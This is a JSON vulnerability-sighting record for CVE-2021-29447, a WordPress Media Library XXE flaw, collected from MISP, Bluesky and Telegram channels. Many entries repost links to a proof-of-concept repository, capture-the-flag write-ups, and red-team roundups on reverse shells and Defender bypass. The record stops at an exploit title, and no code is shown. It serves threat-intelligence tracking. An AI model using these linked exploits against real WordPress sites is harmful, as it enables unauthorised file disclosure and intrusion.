{"vulnerability": "CVE-2021-29447", "sightings": [{"uuid": "7ed100f5-1749-4c17-86f9-6506369c2eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "MISP/2931d77b-03fa-4cae-b8e5-e2a7b0b68a69", "content": "", "creation_timestamp": "2024-11-14T06:09:21.000000Z"}, {"uuid": "0b7bf538-8494-472d-a6f6-640542c3e45e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-29447", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lmkc6vsj7h52", "content": "", "creation_timestamp": "2025-04-11T15:07:38.608480Z"}, {"uuid": "7f04c239-0545-46a2-af31-ffa5740a85b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/-ROXHOfm423XBCCWwhXYaLXGn7xm45QaWmgGH9Ytq2x4Q_M", "content": "", "creation_timestamp": "2025-12-18T09:00:05.000000Z"}, {"uuid": "a49af4cc-c8eb-4672-934e-7cfdcbeeb5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/638", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aWordPress - Authenticated XXE (CVE-2021-29447)\nURL\uff1ahttps://github.com/motikan2010/CVE-2021-29447", "creation_timestamp": "2021-10-04T01:18:02.000000Z"}, {"uuid": "1de5abbd-79e0-498a-ae25-65827e55caa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/b83YqEoSamzTvIv2g9YPtkdIt3N3ryx9DhLHym4P7gSMoa8", "content": "", "creation_timestamp": "2025-06-12T21:00:05.000000Z"}, {"uuid": "82fa3d1a-bc79-4dc5-a712-d81e028da3c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/ZslVGStVV3_lt95-hFdoeilO4jVWtTXfLdOqUzc5Cu_nctM", "content": "", "creation_timestamp": "2025-10-31T21:00:05.000000Z"}, {"uuid": "17a54d60-6557-4ef1-a902-371d5d87ed52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/user_it_channel/123", "content": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0442\u0430\u0442\u0435\u0439, \u0433\u0434\u0435 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u044f\u0437\u044b\u043a\u043e\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0437\u044a\u044f\u0441\u043d\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0442\u0435\u043c\u044b \u043e\u0442 \u043a\u0430\u043d\u0430\u043b\u0430 @netrunnerz. \n\n\n\nModel OSI (\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e) https://szybnev.medium.com/osi-network-model-in-simple-terms-ed91858a8991\n\n\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP https://telegra.ph/HTTP-PROTOCOL-09-22\n\nHTTPS SSL \u0441\u0435\u0440\u0442\u0438\u043a\u0430\u0442 https://telegra.ph/HTTPS-SSL-Certificate-09-22\n\n\u041e\u0441\u043d\u043e\u0432\u044b Linux 1 (\u0441\u0430\u043c\u044b\u0435 \u0433\u043b\u0430\u0432\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b) https://telegra.ph/Osnovy-Linux-CHto-takoe-terminal-Osnovnye-komandy-09-25\n\n\u041e\u0441\u043d\u043e\u0432\u044b Linux 2 (\u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b) https://telegra.ph/Osnovy-Linux-part-2-10-02\n\n\u041e\u0441\u043d\u043e\u0432\u044b Linux 3 (\u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b) https://telegra.ph/Populyarnye-komandy-chast-3-10-09\n\n\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b TLS  https://telegra.ph/CHto-takoe-TLS-protokol-prostymi-slovami-09-26\n\nDNS-\u0441\u0435\u0440\u0432\u0435\u0440 (simple explanation) https://telegra.ph/CHto-takoe-DNS-server-prostymi-slovami-09-28\n\n\u0420\u0435\u0441\u0443\u0440\u0441\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 DNS https://telegra.ph/CHto-takoe-resursnye-zapisi-DNS-prostymi-slovami-09-29-2\n\n\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b https://telegra.ph/Standartnye-porty-protokoly-09-29\n\nUPD \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b (simple explanation) https://telegra.ph/UDP-protokol-prostymi-slovami-10-01\n\n\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b TCP/IP https://telegra.ph/Protokol-TCPIP-prostymi-slovami-10-03-2\n\n\u0420\u0430\u0437\u0431\u043e\u0440 Writeup HackTheBox OpenSource[EASY] https://szybnev.medium.com/writeup-hackthebox-opensource-easy-df9c16d9e31a\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c LFI - Local File Inclusion 1  https://telegra.ph/Web-security-flaw--LFI-10-10\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c LFI - Local File Inclusion  2 https://telegra.ph/Web-security-flaws--LFI-10-10\n\nSpawning a TTY Shell https://telegra.ph/Spawn-tty-shell-10-26\n\n\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 LD_PRELOAD https://telegra.ph/Povyshenie-privilegij-cherez-LD-PRELOAD--HTB-Easy--Photobomb-10-30\n\n\nMetaTwo | CVE-2022-0739 + CVE-2021-29447  https://telegra.ph/MetaTwo--CVE-2022-0739--CVE-2021-29447--HTB-Easy-12-07\n\n\u041d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 @netrunnerz.", "creation_timestamp": "2022-12-16T20:30:40.000000Z"}, {"uuid": "56c5ec46-377e-4d05-b064-9d280b80f3e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/moqY6cW5VnKV_c19yFzOoCThPzN6rcBfQ0zDhyqMg7kJYfg", "content": "", "creation_timestamp": "2025-08-21T03:00:08.000000Z"}, {"uuid": "d1aaff0d-0b1e-4988-9c78-4791667aa111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/itekV_7Xkp3Ho6cERYVofdzl_aqFgFj-j1LEcvC2Ybxwbi8", "content": "", "creation_timestamp": "2025-07-04T15:00:06.000000Z"}, {"uuid": "1203cc90-a2c7-460a-8c47-1005a6d95c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/Zb_pAijZjgpIWdaMMCL-38Twt8TGP6G8YOXf2OyH1UYbDuif", "content": "", "creation_timestamp": "2024-07-11T04:11:26.000000Z"}, {"uuid": "e180dc02-93f5-4636-a32f-78f017eeea6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/netrunnerz/363", "content": "#\u0426\u0438\u043a\u043b\u0421\u0442\u0430\u0442\u0435\u0439_HTB\n\n[ MetaTwo | CVE-2022-0739 + CVE-2021-29447 | HTB Easy]\n\n\u0414\u043e\u0431\u0440\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0443\u0442\u043e\u043a, \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 MetaTwo \u043d\u0430 Hack The Box \u0441\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e Easy. \u041f\u043e \u0445\u043e\u0434\u0443 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432\u044b \u0438\u0437\u0443\u0447\u0438\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-0739 (POC) + CVE-2021-29447 (POC)", "creation_timestamp": "2022-12-09T13:59:41.000000Z"}, {"uuid": "9d73c2f5-d3fd-461b-9c59-db4a039e436e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/xxexm/1578", "content": "#CTF\n\n\u062d\u0644 CTF\n\nWordpress: CVE-2021-29447\n\nXXE vuln \n\n\u0631\u0627\u0628\u0637 \u0627\u0644 CTF:\nhttps://tryhackme.com/r/room/wordpresscve202129447", "creation_timestamp": "2024-07-11T11:27:26.000000Z"}, {"uuid": "52d38a50-dded-4099-82d9-8982d836627d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/4jHl0A2G6QT9LyNmFhFHRrCZautXHohiqiIoSv0CRydb8w", "content": "", "creation_timestamp": "2021-09-02T14:51:27.000000Z"}, {"uuid": "d63287fa-ad19-472a-9b18-5d920f56a75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/355", "content": "CVE-2021-29447 Wordpress XXE\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-29447_Wordpress_XXE%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-06T10:55:08.000000Z"}, {"uuid": "f4214c9a-57a4-4865-9e7b-5e2a80d9248a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/cybdetective/1496", "content": "List of articles that explain in simple terms the basics of information security from the @netrunnerz channel. \n\n\n\nModel OSI (simple guide) https://szybnev.medium.com/osi-network-model-in-simple-terms-ed91858a8991\n\nHTTP PROTOCOL (basic) https://telegra.ph/HTTP-PROTOCOL-09-22\n\nHTTPS SSL Sertificate (basic) https://telegra.ph/HTTPS-SSL-Certificate-09-22\n\nLinux basic 1 (most important terminal commands) https://telegra.ph/Osnovy-Linux-CHto-takoe-terminal-Osnovnye-komandy-09-25\n\nLinux basic 2 (advanced terminal commands) https://telegra.ph/Osnovy-Linux-part-2-10-02\n\nLinux basic 3 (advanced terminal commands)https://telegra.ph/Populyarnye-komandy-chast-3-10-09\n\nTLS Protocol (simple explanation) https://telegra.ph/CHto-takoe-TLS-protokol-prostymi-slovami-09-26\n\nDNS server (simple explanation) https://telegra.ph/CHto-takoe-DNS-server-prostymi-slovami-09-28\n\nDNS resource records (simple explanation) https://telegra.ph/CHto-takoe-resursnye-zapisi-DNS-prostymi-slovami-09-29-2\n\nStandard network protocols (quick guide) https://telegra.ph/Standartnye-porty-protokoly-09-29\n\nUPD Protocol (simple explanation) https://telegra.ph/UDP-protokol-prostymi-slovami-10-01\n\nTCP/IP Protocol https://telegra.ph/Protokol-TCPIP-prostymi-slovami-10-03-2\n\nWriteup HackTheBox OpenSource[EASY] https://szybnev.medium.com/writeup-hackthebox-opensource-easy-df9c16d9e31a\n\nLFI - Local File Inclusion vulnerability 1  https://telegra.ph/Web-security-flaw--LFI-10-10\n\nLFI - Local File Inclusion vulnerability 2 https://telegra.ph/Web-security-flaws--LFI-10-10\n\nSpawning a TTY Shell https://telegra.ph/Spawn-tty-shell-10-26\n\nPrivilege escalation with LD_PRELOAD https://telegra.ph/Povyshenie-privilegij-cherez-LD-PRELOAD--HTB-Easy--Photobomb-10-30\n\nNew:\n\nMetaTwo | CVE-2022-0739 + CVE-2021-29447  https://telegra.ph/MetaTwo--CVE-2022-0739--CVE-2021-29447--HTB-Easy-12-07\n\n\nDon't forget to follow @netrunnerz.", "creation_timestamp": "2022-12-16T21:16:25.000000Z"}, {"uuid": "1730dd04-e8bf-4c5b-b506-a4e1be0532d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/thebugbountyhunter/5402", "content": "WordPress XXE Vulnerability in Media Library \u2013 CVE-2021-29447 https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/", "creation_timestamp": "2021-05-21T12:56:23.000000Z"}, {"uuid": "788ea4db-ec4c-4ebf-9473-3dc2db5c4ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3142", "content": "#exploit\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n]-> Vulnerability details:\nhttps://blog.sonarsource.com/wordpress-xxe-security-vulnerability", "creation_timestamp": "2021-04-30T11:57:20.000000Z"}, {"uuid": "156a2f95-7a53-4361-8c16-c0e106d9ab57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3427", "content": "#Threat_Research\n1. WordPress 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 XXE Vulnerability\nin Media Library (CVE-2021-29447)\nhttps://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447\n2. Oculus SSO \"Account Linking\" bug leads to account takeover on third party websites and inside VR Games/Apps\nhttps://ysamm.com/?p=697", "creation_timestamp": "2021-05-22T13:03:01.000000Z"}, {"uuid": "f94c5066-d748-4004-9f08-37d6b58e71ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3506", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (may 1-31)\nCVE-2021-31166 - HTTP Stack RCE\nhttps://t.me/cybersecuritytechnologies/3388\nCVE-2021-21551 -Dell BIOS Driver PE\nhttps://t.me/cybersecuritytechnologies/3293\nCVE-2021-30747 -Covert channel in Apple M1\nhttps://t.me/cybersecuritytechnologies/3472\nCVE-2021-22204 -DjVu vuln\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-28482 -MS Exchange RCE\nhttps://t.me/cybersecuritytechnologies/3286\nCVE-2021-21974 -VMware\u00a0ESXi heap-overflow\nhttps://t.me/cybersecuritytechnologies/3460\nCVE-2021-29447 -WordPress XXE\nhttps://t.me/cybersecuritytechnologies/3142\nCVE-2021-21985 - vSphere Client RCE\nhttps://t.me/cybersecuritytechnologies/3493\nCVE-2021-32471 -ACE in TuringMachine\nhttps://t.me/cybersecuritytechnologies/3364\nCVE-2021-3490 -Linux Kernel eBPF\nhttps://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e", "creation_timestamp": "2024-09-28T16:48:46.000000Z"}, {"uuid": "398cc2a2-a907-43ca-96d0-84dd25f8f3b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "Telegram/N7WxhQc_PBplxyyFXNJXnpbQ8J1YLSZ2ghJvQ-VVnPiIDKE", "content": "", "creation_timestamp": "2026-08-16T19:00:06.455444Z"}, {"uuid": "bc38ba0f-64d3-410a-997e-4d180aa2d6ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "Telegram/N7WxhQc_PBplxyyFXNJXnpbQ8J1YLSZ2ghJvQ-VVnPiIDKE", "content": "", "creation_timestamp": "2026-08-17T00:00:08.961661Z"}, {"uuid": "98ff4989-3804-4bf2-aabe-3c0c763e96e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/zhatez/105", "content": "List of articles that explain in simple terms the basics of information security from the @netrunnerz channel. \n\n\n\nModel OSI (simple guide) https://szybnev.medium.com/osi-network-model-in-simple-terms-ed91858a8991\n\nHTTP PROTOCOL (basic) https://telegra.ph/HTTP-PROTOCOL-09-22\n\nHTTPS SSL Sertificate (basic) https://telegra.ph/HTTPS-SSL-Certificate-09-22\n\nLinux basic 1 (most important terminal commands) https://telegra.ph/Osnovy-Linux-CHto-takoe-terminal-Osnovnye-komandy-09-25\n\nLinux basic 2 (advanced terminal commands) https://telegra.ph/Osnovy-Linux-part-2-10-02\n\nLinux basic 3 (advanced terminal commands)https://telegra.ph/Populyarnye-komandy-chast-3-10-09\n\nTLS Protocol (simple explanation) https://telegra.ph/CHto-takoe-TLS-protokol-prostymi-slovami-09-26\n\nDNS server (simple explanation) https://telegra.ph/CHto-takoe-DNS-server-prostymi-slovami-09-28\n\nDNS resource records (simple explanation) https://telegra.ph/CHto-takoe-resursnye-zapisi-DNS-prostymi-slovami-09-29-2\n\nStandard network protocols (quick guide) https://telegra.ph/Standartnye-porty-protokoly-09-29\n\nUPD Protocol (simple explanation) https://telegra.ph/UDP-protokol-prostymi-slovami-10-01\n\nTCP/IP Protocol https://telegra.ph/Protokol-TCPIP-prostymi-slovami-10-03-2\n\nWriteup HackTheBox OpenSource[EASY] https://szybnev.medium.com/writeup-hackthebox-opensource-easy-df9c16d9e31a\n\nLFI - Local File Inclusion vulnerability 1  https://telegra.ph/Web-security-flaw--LFI-10-10\n\nLFI - Local File Inclusion vulnerability 2 https://telegra.ph/Web-security-flaws--LFI-10-10\n\nSpawning a TTY Shell https://telegra.ph/Spawn-tty-shell-10-26\n\nPrivilege escalation with LD_PRELOAD https://telegra.ph/Povyshenie-privilegij-cherez-LD-PRELOAD--HTB-Easy--Photobomb-10-30\n\nNew:\n\nMetaTwo | CVE-2022-0739 + CVE-2021-29447  https://telegra.ph/MetaTwo--CVE-2022-0739--CVE-2021-29447--HTB-Easy-12-07\n\n\nDon't forget to follow @netrunnerz.", "creation_timestamp": "2026-07-17T11:00:09.551411Z"}, {"uuid": "6f865110-877e-458d-9ae2-50ab6ef61639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/105", "content": "List of articles that explain in simple terms the basics of information security from the @netrunnerz channel. \n\n\n\nModel OSI (simple guide) https://szybnev.medium.com/osi-network-model-in-simple-terms-ed91858a8991\n\nHTTP PROTOCOL (basic) https://telegra.ph/HTTP-PROTOCOL-09-22\n\nHTTPS SSL Sertificate (basic) https://telegra.ph/HTTPS-SSL-Certificate-09-22\n\nLinux basic 1 (most important terminal commands) https://telegra.ph/Osnovy-Linux-CHto-takoe-terminal-Osnovnye-komandy-09-25\n\nLinux basic 2 (advanced terminal commands) https://telegra.ph/Osnovy-Linux-part-2-10-02\n\nLinux basic 3 (advanced terminal commands)https://telegra.ph/Populyarnye-komandy-chast-3-10-09\n\nTLS Protocol (simple explanation) https://telegra.ph/CHto-takoe-TLS-protokol-prostymi-slovami-09-26\n\nDNS server (simple explanation) https://telegra.ph/CHto-takoe-DNS-server-prostymi-slovami-09-28\n\nDNS resource records (simple explanation) https://telegra.ph/CHto-takoe-resursnye-zapisi-DNS-prostymi-slovami-09-29-2\n\nStandard network protocols (quick guide) https://telegra.ph/Standartnye-porty-protokoly-09-29\n\nUPD Protocol (simple explanation) https://telegra.ph/UDP-protokol-prostymi-slovami-10-01\n\nTCP/IP Protocol https://telegra.ph/Protokol-TCPIP-prostymi-slovami-10-03-2\n\nWriteup HackTheBox OpenSource[EASY] https://szybnev.medium.com/writeup-hackthebox-opensource-easy-df9c16d9e31a\n\nLFI - Local File Inclusion vulnerability 1  https://telegra.ph/Web-security-flaw--LFI-10-10\n\nLFI - Local File Inclusion vulnerability 2 https://telegra.ph/Web-security-flaws--LFI-10-10\n\nSpawning a TTY Shell https://telegra.ph/Spawn-tty-shell-10-26\n\nPrivilege escalation with LD_PRELOAD https://telegra.ph/Povyshenie-privilegij-cherez-LD-PRELOAD--HTB-Easy--Photobomb-10-30\n\nNew:\n\nMetaTwo | CVE-2022-0739 + CVE-2021-29447  https://telegra.ph/MetaTwo--CVE-2022-0739--CVE-2021-29447--HTB-Easy-12-07\n\n\nDon't forget to follow @netrunnerz.", "creation_timestamp": "2026-07-18T00:00:27.183211Z"}, {"uuid": "f9f21d15-d262-4e39-9ba5-5d425fac6db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/GitBook_s/122", "content": "ressurect notes\n\n>WEB\nWeb Pentesting Checklist\nInsecure Deserialization\nBlind XPath Injection\nGraphQL\nReverse Shells\nContent-Security-Policy\nLLM (Large Language Models)\n>WINDOWS API\nC# - P/Invoke\n>MISCELLANEOUS TOPICS\nPhishing with Gophish\nPentest Diaries\n>HACK THE BOX\nIntelligence\nSeal\nUnder Construction\nPrevise\nReturn\nSauna\nNest\n>TRYHACKME\nWordpress CVE-2021-29447\nAttacktiv\nFortress\ninternal\n>CHEATSHEET\nJSON-jq\nDocker\nHidden Secrets\nDatabase Exploitation\nC Sharp\nReversing\nSSH\nPython\nPrivilege Escalation\nSocat\nOSINT\n\nLink \ud83d\udd17:-\nhttps://ressurect.gitbook.io/notes\n\n@GitBook_s", "creation_timestamp": "2026-07-21T13:00:06.458676Z"}, {"uuid": "6ad67ca8-64e3-4ccf-97b0-a81dfe60ac78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/GitBook_s/122", "content": "ressurect notes\n\n>WEB\nWeb Pentesting Checklist\nInsecure Deserialization\nBlind XPath Injection\nGraphQL\nReverse Shells\nContent-Security-Policy\nLLM (Large Language Models)\n>WINDOWS API\nC# - P/Invoke\n>MISCELLANEOUS TOPICS\nPhishing with Gophish\nPentest Diaries\n>HACK THE BOX\nIntelligence\nSeal\nUnder Construction\nPrevise\nReturn\nSauna\nNest\n>TRYHACKME\nWordpress CVE-2021-29447\nAttacktiv\nFortress\ninternal\n>CHEATSHEET\nJSON-jq\nDocker\nHidden Secrets\nDatabase Exploitation\nC Sharp\nReversing\nSSH\nPython\nPrivilege Escalation\nSocat\nOSINT\n\nLink \ud83d\udd17:-\nhttps://ressurect.gitbook.io/notes\n\n@GitBook_s", "creation_timestamp": "2026-07-22T00:00:22.664351Z"}, {"uuid": "4a2a65ef-a8d0-400a-899b-dfd787b79b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/cissp/3243", "content": "Red Team Tactics\n1. Windows Privilege Escalation: \ud83d\ude0a\nDnsAdmins to DomainAdmin\nhttps://www.hackingarticles.in/windows-privilege-escalation-dnsadmins-to-domainadmin\n2. How to bypass Defender in a few easy steps\nhttps://arty-hlr.com/blog/2021/05/06/how-to-bypass-defender\n\nSCADA Security\nWhen Intrusions Don\u2019t Align:\nA New Water Watering Hole and Oldsmar\nhttps://www.dragos.com/blog/industry-news/a-new-water-watering-hole\n\nFuzzing iOS code on macOS at native speed\nOr how iOS apps on macOS work under the hood\nhttps://googleprojectzero.blogspot.com/2021/05/fuzzing-ios-code-on-macos-at-native.html\n\nThreat_Research\n1. WordPress 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 XXE Vulnerability\nin Media Library (CVE-2021-29447)\nhttps://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447\n2. Oculus SSO \"Account Linking\" bug leads to account takeover on third party websites and inside VR Games/Apps\nhttps://ysamm.com/?p=697\n\n1. GraphQL:\n]-> Security Overview and Testing Tips\nhttps://blog.doyensec.com/2018/05/17/graphql-security-overview.html\n]-> POST-based CSRF\nhttps://blog.doyensec.com/2021/05/20/graphql-csrf.html\n2. Terraform Plan \"RCE\"\nhttps://alex.kaskaso.li/post/terraform-plan-rce", "creation_timestamp": "2026-09-01T17:00:49.974814Z"}, {"uuid": "fbbc5987-ac1d-445b-84aa-b043820e8f34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/cissp/2972", "content": "exploit:\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n\nRed Team Tactics:\n1. sJET allows an easy exploitation of insecure configured JMX services (siberas JMX Exploitation Toolkit)\nhttps://github.com/siberas/sjet\n2. Jenkins exploit for Servers without authentication\ud83d\ude04\nhttps://github.com/Hacker5preme/jenkins-exploit\n\nThreat Research:\nMultiple RCE vulnerabilities in Microsoft Azure Sphere (PoCs for CVE-2021-27047, CVE-2021-27080,\nCVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html?m=1\n\nOffensive security:\n1. mod_security bypass\ud83d\ude03\nhttps://y000o.medium.com/fun-sql-injection-mod-security-bypass-644b54b0c445\n2. XSS in the process of creating a File/Folder in iCloud Drive\nhttps://fernale.blogspot.com/p/an-interesting-xss-exploit-that-i-found.html?m=1", "creation_timestamp": "2026-09-01T17:00:54.434466Z"}, {"uuid": "4b1206b3-a87b-48d0-8e06-8e243d7ec566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/hacking_Attack/24276", "content": "Exploit Collector\nWordPress 5.7 Media Library XML Injection\n\n\nhttps://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png \nWordPress version 5.7 suffers from a Media Library XML external entity injection vulnerability.\n\nMD5 | 285ded5933c9cbe2e0d8eae674b16808\n\nDownload\n# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) 